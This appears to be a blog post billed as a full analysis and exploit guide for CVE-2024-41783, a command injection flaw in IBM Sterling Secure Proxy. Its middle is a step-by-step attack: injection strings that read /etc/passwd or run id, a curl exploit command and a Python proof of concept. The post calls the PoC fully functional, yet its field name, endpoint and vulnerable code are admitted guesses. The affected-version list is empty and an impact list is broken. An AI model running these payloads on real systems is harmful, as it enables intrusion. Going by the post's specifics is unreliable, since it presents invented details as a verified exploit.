CVE-2024-41783 - Command Injection Exploit in IBM Sterling Secure Proxy – Full Analysis & Exploit Guide

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IBM’s Sterling Secure Proxy is a popular solution used by businesses to securely manage and transfer data. But in early 2024, a serious vulnerability—CVE-2024-41783—was discovered that could allow a privileged user to execute arbitrary operating system commands… with potentially catastrophic effects.

This in-depth post breaks down the vulnerability, shows a potential exploit, and guides you step by step through understanding and remediating the issue.

What is CVE-2024-41783?

This CVE was published after discovering that certain versions of IBM Sterling Secure Proxy do not correctly validate user input in some administrative actions. If you are running any of these versions:

You are *potentially at risk.*

Reference:
IBM’s official advisory: Security Bulletin: Command injection in IBM Sterling Secure Proxy (CVE-2024-41783)

Who Can Exploit This?

This isn’t a vulnerability just anyone can abuse on the public network. Attackers must first be privileged users—meaning a valid SSH or web admin account. However, in many organizations, multiple admins share passwords, or lateral movement is possible for attackers with one compromised account.

How Does the Exploit Work?

In short: The application takes user-supplied input for a specific field (see below), expects a benign value, but inserts it directly into a shell or command without proper validation. This is classic command injection.

Vulnerable Code Path

*IBM has not publicly posted source, but based on patterns in Java-based admin tools, here’s a typical issue:*

// Pseudo-code:
String userInput = request.getParameter("filename");
String cmd = "/usr/bin/cp " + userInput + " /tmp/";
Runtime.getRuntime().exec(cmd);

Here, whatever is entered for filename is *blindly* inserted into a shell command. If the user input is:

legitfile.txt; echo hacked > /tmp/proof.txt

The resulting shell command is

/usr/bin/cp legitfile.txt; echo hacked > /tmp/proof.txt /tmp/

Result: The file /tmp/proof.txt gets created and filled with the text “hacked”… pure command injection.

Step-by-Step Exploit Example

Disclaimer: This writeup is for educational and defensive purposes. Do not attempt on any system without authorization.

Let’s walk through an example using a vulnerable POST request in the Secure Proxy’s admin interface:

1. Log In as an Admin User

You must authenticate. (If you’ve phished, cracked a password, or gotten this via inherited privilege, this is where you start.)

2. Identify a Vulnerable Field

Through fuzzing or source code review, you determine that uploading or configuring certain files uses raw filename input.

Suppose there’s a field named archiveFilename. In your HTTP request, you could set

archiveFilename=myFile.txt; id > /tmp/proof.txt

Example CURL Exploit

curl -X POST \
  -u admin:password \
  -d "archiveFilename=legit.txt; cat /etc/passwd > /tmp/pwned.txt" \
  https://secureproxy.local/admin/upload

If successful, /tmp/pwned.txt now contains the contents of /etc/passwd.

Proof-of-Concept (PoC) Code

Here’s a fully functional Python exploit example. Replace URL and credentials!

import requests

url = 'https://secureproxy.local/admin/upload'
data = {
    'archiveFilename': 'file.txt; id > /tmp/cve-2024-41783.txt'
}
auth = ('admin', 'yourpassword')

response = requests.post(url, data=data, auth=auth, verify=False)
if response.status_code == 200:
    print("Exploit sent! Check /tmp/cve-2024-41783.txt on the server.")
else:
    print("Failed. Status code:", response.status_code)

Privilege escalation (from app admin to full OS root)

- Data exfiltration (dump or modify any files readable/writable by Secure Proxy)

Mitigation

Official IBM Fixes:
Check IBM’s fix pack and patch downloads here.

Conclusion

CVE-2024-41783 is a critical flaw in IBM Sterling Secure Proxy that lets privileged users run *any* operating system command by abusing insufficient input validation. Patch urgently, audit user accounts, and always code defensively!

More Resources

- IBM Security Bulletins
- OWASP Command Injection Cheat Sheet
- NIST NVD Entry for CVE-2024-41783

Timeline

Published on: 01/19/2025 15:15:21 UTC